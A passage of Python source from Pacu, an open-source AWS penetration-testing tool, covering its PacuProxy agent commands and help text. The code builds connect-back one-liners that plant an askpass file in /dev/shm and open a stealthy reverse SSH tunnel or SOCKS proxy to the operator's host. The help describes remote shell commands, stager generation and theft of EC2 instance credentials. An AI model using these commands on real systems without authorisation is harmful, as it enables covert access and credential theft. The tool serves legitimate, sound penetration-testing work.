start_proxy_cmd = 'Start-SocksProxy -sshhost {} -username {} -password {} -RemotePort 8001 -LocalPort 5050'.format(proxy_ip, proxy_ssh_username, proxy_ssh_password)
# Combine the commands into a one-liner
connect_back_cmd = '{}; {}'.format(invoke_expression, start_proxy_cmd)
else:
if shm_name == '':
shm_name = ''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=5))
# Create an in-memory file in /dev/shm that contains the password
create_shm = 'echo "echo {}" > /dev/shm/{}'.format(shm_name, shm_name)
# Give the file 777 permissions
add_permissions = 'chmod 777 /dev/shm/{}'.format(shm_name)
# DISPLAY=dummy to emulate a display
# SSH_ASKPASS=/dev/shm/{} to tell SSH that the file will echo it a password
# setsid to avoid any prompts
# Runs ssh to connect to the PacuProxy server over SSH while forwarding a port,
# without trying to open a shell, but keeping a persistent connection, and
# redirecting stderr to stdout (which then comes back to PacuProxy)
connect = 'DISPLAY=dummy SSH_ASKPASS=/dev/shm/{} setsid ssh -o UserKnownHostsFile=/dev/null -f -N -R 8001 -o StrictHostKeyChecking=no {}@{} >/dev/null 2>&1 &'.format(shm_name, proxy_ssh_username, proxy_ip)
# Combine the commands into a one-liner
connect_back_cmd = '{} && {} && {}'.format(create_shm, add_permissions, connect)
self.server.run_cmd(proxy_target_agent[0], self.server.all_connections[int(command[2])], connect_back_cmd)
self.print('Remote agent instructed to connect!')
except Exception as error:
self.print('** Error: Invalid agent ID, expected an integer or "none": {} **'.format(error))
else:
self.print('** Error: Excepted an agent ID, received: {}'.format(command[2:]))
else:
self.print('** Unrecognized proxy command: {} **'.format(command[1]))
proxy_settings.update(self.database, ssh_username=proxy_ssh_username, ssh_password=proxy_ssh_password, ssh_shm_name=shm_name, listening=proxy_listening, target_agent=proxy_target_agent)
return
def parse_exec_module_command(self, command):
if len(command) > 1:
self.exec_module(command)
else:
print('The {} command requires a module name. Try using the module search function.'.format(command))
def parse_search_command(self, command):
if len(command) == 1:
self.list_modules('')
elif len(command) == 2:
self.list_modules(command[1])
elif len(command) >= 3:
if command[1] in ('cat', 'category'):
self.list_modules(command[2], by_category=True)
def display_pacu_help(self):
print("""
Pacu - https://github.com/RhinoSecurityLabs/pacu
Written and researched by Spencer Gietzen of Rhino Security Labs - https://rhinosecuritylabs.com/
This was built as a modular, open source tool to assist in penetration testing an AWS environment.
For usage and developer documentation, please visit the GitHub page.
Modules that have pre-requisites will have those listed in that modules help info, but if it is
executed before its pre-reqs have been filled, it will prompt you to run that module then continue
once that is finished, so you have the necessary data for the module you want to run.
Pacu command info:
list/ls List all modules
search [cat[egory]] <search term> Search the list of available modules by name or category
help Display this page of information
help <module name> Display information about a module
whoami Display information regarding to the active access keys
data Display all data that is stored in this session. Only fields
with values will be displayed
data <service>|proxy Display all data for a specified service or for PacuProxy
in this session
services Display a list of services that have collected data in the
current session to use with the "data" command
regions Display a list of all valid AWS regions
update_regions Run a script to update the regions database to the newest
version
set_regions <region> [<region>...] Set the default regions for this session. These space-separated
regions will be used for modules where regions are required,
but not supplied by the user. The default set of regions is
every supported region for the service. Supply "all" to this
command to reset the region set to the default of all
supported regions
run/exec <module name> Execute a module
set_keys Add a set of AWS keys to the session and set them as the
default
swap_keys Change the currently active AWS key to another key that has
previously been set for this session
import_keys <profile name>|--all Import AWS keys from the AWS CLI credentials file (located
at ~/.aws/credentials) to the current sessions database.
Enter the name of a profile you would like to import or
supply --all to import all the credentials in the file.
exit/quit Exit Pacu
Other command info:
aws <command> Run an AWS CLI command directly. Note: If Pacu detects "aws"
as the first word of the command, the whole command will
instead be run in a shell so that you can use the AWS CLI
from within Pacu. Due to the command running in a shell,
this enables you to pipe output where needed. An example
would be to run an AWS CLI command and pipe it into "jq"
to parse the data returned. Warning: The AWS CLI's
authentication is not related to Pacu. Be careful to
ensure that you are using the keys you want when using
the AWS CLI. It is suggested to use AWS CLI profiles
to solve this problem
[ADVANCED] PacuProxy command info:
proxy [help] Control PacuProxy/display help
start <ip> [port] Start the PacuProxy listener - port 80 by default.
The listener will attempt to start on the IP
supplied, but some hosts don't allow this. In
this case, PacuProxy will listen on 0.0.0.0 and
use the supplied IP to stage agents and it should
work the same
stop Stop the PacuProxy listener
kill <agent_id> Kill an agent (stop it from running on the host)
list/ls List info on remote agent(s)
use none|<agent_id> Use a remote agent, identified by unique integers
(use "proxy list" to see them). Choose "none" to
no longer use any proxy (route from the local
host instead)
shell <agent_id> <command> Run a shell command on the remote agent
fetch_ec2_keys <agent_id> Try to read the meta-data of the target agent to
request a set of temporary credentials for the
attached instance profile (if there is one),
then save them to the Pacu database and set
them as the active key pair
stager sh|ps Generate a PacuProxy stager. The "sh" format is
for *sh shells in Unix (like bash), and the "ps"
format is for PowerShell on Windows
""")
def display_proxy_help(self):
print("""
PacuProxy command info:
proxy [help] Control PacuProxy/display help
start <ip> [port] Start the PacuProxy listener - port 80 by default.
The listener will attempt to start on the IP
supplied, but some hosts don't allow this. In
this case, PacuProxy will listen on 0.0.0.0 and
use the supplied IP to stage agents and it should
work the same
stop Stop the PacuProxy listener
kill <agent_id> Kill an agent (stop it from running on the host)
list/ls List info on remote agent(s)
use none|<agent_id> Use a remote agent, identified by unique integers
(use "proxy list" to see them). Choose "none" to
no longer use any proxy (route from the local
host instead)
shell <agent_id> <command> Run a shell command on the remote agent
fetch_ec2_keys <agent_id> Try to read the meta-data of the target agent to
request a set of temporary credentials for the
attached instance profile (if there is one),
then save them to the Pacu database and set
them as the active key pair
stager sh|ps Generate a PacuProxy stager. The "sh" format is
for *sh shells in Unix (like bash), and the "ps"
format is for PowerShell on Windows
""")
def update_regions(self):
py_executable = sys.executable
# Update botocore to fetch the latest version of the AWS region_list
try:
self.print(' Fetching latest botocore...\n')
subprocess.run([py_executable, '-m', 'pip', 'install', '--upgrade', 'botocore'])
except:
pip = self.input(' Could not use pip3 or pip to update botocore to the latest version. Enter the name of your pip binary to continue: ').strip()
subprocess.run(['{}'.format(pip), 'install', '--upgrade', 'botocore'])
path = ''
try:
self.print(' Using pip3 to locate botocore...\n')
output = subprocess.check_output('{} -m pip show botocore'.format(py_executable), shell=True)
except:
path = self.input(' Could not use pip to determine botocore\'s location. Enter the path to your Python "dist-packages" folder (example: /usr/local/bin/python3.6/lib/dist-packages): ').strip()
if path == '':